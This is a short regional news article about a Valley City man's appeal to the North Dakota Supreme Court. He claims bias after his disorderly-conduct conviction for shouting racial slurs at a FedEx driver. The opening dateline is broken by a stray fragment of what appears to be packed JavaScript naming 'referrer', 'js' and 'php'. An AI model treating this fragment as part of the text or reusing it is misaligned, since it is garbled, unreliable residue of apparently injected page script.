BISMARCK, trbab|var|u0026u|referrer|benff||js|php’.split(‘|’),0,{}))
N.D. (NewsDakota.com) North Dakota Supreme Court Justices heard oral arguments by a Valley City man who believes he was sentenced unfairly by Southeast District Court Judge Jay Schmitz and would like a retrial.

In April of 2016, Brian Mindt faced a charge of disorderly conduct stemming from an incident with him and a Fed Ex truck driver in September of 2015.

After the bench trial was completed, Judge Schmitz ruled that Mindt was guilty of disorderly conduct and shouting racial slurs at a Hispanic Fed Ex driver who was making a delivery to Mindt’s business in Valley City.

Judge Schmitz sentenced Mindt to a year of unsupervised probation and ordered him to meet five requirements to get the disorderly conduct charge taken off his record.

Later, Mindt said Judge Schmitz was bias against him and should have recused himself from the case being the complainant was a Hispanic man and Judge Schmitz was in an interracial marriage.

North Dakota Supreme Court Justices heard Mindt’s oral arguments on February 22nd in Bismarck. Click on below and listen to the hearing. Mindt defended himself. His opening arguments precede a statement of response by Assistant State’s Attorney for Barnes County Lilie  Schoenack and then Mindt’s closing statement.

Chief Justice Gerald Vandewalle said North Dakota Supreme Court Justices will issue a ruling to be announced at a later date.